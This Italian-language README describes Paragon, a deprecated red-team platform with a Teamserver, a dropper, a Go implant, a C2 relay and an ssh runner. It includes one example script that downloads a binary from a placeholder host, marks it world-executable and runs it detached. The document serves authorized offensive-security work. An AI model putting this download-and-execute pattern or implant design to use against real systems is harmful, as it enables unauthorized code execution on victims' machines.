
Piattaforma di engagement Red Team con l'obiettivo di unificare gli strumenti offensivi dietro una semplice interfaccia utente.
Questo progetto è stato deprecato, fate riferimento al nostro nuovo Realm project, che si basa su molte delle idee che avevamo quando abbiamo creato questo repository.

Paragon è una piattaforma per engagement di Red Team. Mira a unificare strumenti offensivi dietro una semplice interfaccia utente, astraendo gran parte del lavoro di backend per consentire agli operatori di concentrarsi sulla scrittura di implant e dedicare meno tempo a preoccuparsi di database e CSS. Il repository fornisce anche alcuni strumenti offensivi già integrati con Paragon che possono essere utilizzati durante gli engagement.
Questo repository è ancora in fase di sviluppo intenso e non è pronto per l'uso in produzione. Quando sarà considerato stabile, verrà rilasciato un tag V1.0.0. Fino ad allora, l'API potrebbe subire modifiche sostanziali mentre continuiamo a semplificare il nostro design. Si prega di leggere la documentazione per sviluppatori qui sotto se si desidera aiutarci a raggiungere più velocemente questo traguardo.
Un'istanza dimostrativa rapida può essere configurata clonando il repository ed eseguendo docker-compose up. Apri 127.0.0.1:80 nel tuo browser per iniziare!
Le immagini utilizzate sono disponibili su docker-hub e possono essere configurate da un file docker-compose per una distribuzione in produzione.
La maggior parte dei componenti in questo repository si basa su un linguaggio di scripting simile a Python che consente un potente controllo e personalizzazione del loro comportamento. Il linguaggio è una versione modificata di Google's starlark, estesa con funzionalità multipiattaforma per gli operatori. Questo permette anche a strumenti come l'agente e il dropper (discussi di seguito) di eseguire attività senza fare affidamento su binari di sistema (curl, bash, ecc.). Tutte le operazioni vengono eseguite come codice in Golang, quindi è intuitivo aggiungere ulteriori funzionalità all'ambiente di scripting. Ecco un esempio di script:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Fornisce una semplice applicazione web e un'API GraphQL per interfacciarsi con un grafo di conoscenza del Red Team, unificando gli strumenti dietro una fonte di verità centralizzata e astraendo molte noiose preoccupazioni di backend dagli operatori. Integra i tuoi strumenti personalizzati con il Teamserver (usando l'API GraphQL o le sottoscrizioni agli eventi) per risparmiare tempo sul lavoro di backend. Il Teamserver registra tutta l'attività, quindi con tutti i tuoi strumenti unificati in un unico posto, scrivere report post-engagement diventa significativamente più facile.
I seguenti strumenti sono inclusi anch'essi nel repository. Possono essere facilmente estesi per adattarsi a molti casi d'uso multipiattaforma.
Paragon fornisce uno strumento per impacchettare asset (binari, script, ecc.) in un singolo binario che, una volta eseguito, eseguirà il tuo script di distribuzione personalizzato che può scrivere asset sul filesystem, avviare processi, scaricare file, gestire errori e altro. È completamente multipiattaforma e compilato staticamente, garantendo distribuzioni affidabili. Se desideri estenderne la funzionalità, ti basterà estendere il file golang generato prima di compilare.
Un implant che esegue attività e riporta i risultati delle esecuzioni. È configurato per impostazione predefinita per eseguire attività utilizzando il linguaggio di scripting simile a Python di Paragon e per comunicare con un C2 tramite http(s). È scritto in Go e può essere rapidamente modificato per aggiungere nuovi metodi di trasporto (es. DNS), opzioni di esecuzione, logica di failover e altro.
Agisce da intermediario tra l'Agent e il Teamserver. Gestisce i callback degli agent per vari meccanismi di comunicazione e fornisce loro nuovi task dalla coda del teamserver.
Invece di attendere un callback, alcune situazioni potrebbero richiedere una connessione diretta per eseguire rapidamente un'attività e visualizzarne l'output. Il runner realizza ciò sottoscrivendo code di attività e stabilendo una connessione alla macchina di destinazione (es. tramite ssh). Ciò consente a integrazioni simili a shell di utilizzare la stessa interfaccia degli implant e dei C2. Permette anche di condurre la distribuzione iniziale dell'implant attraverso questa interfaccia.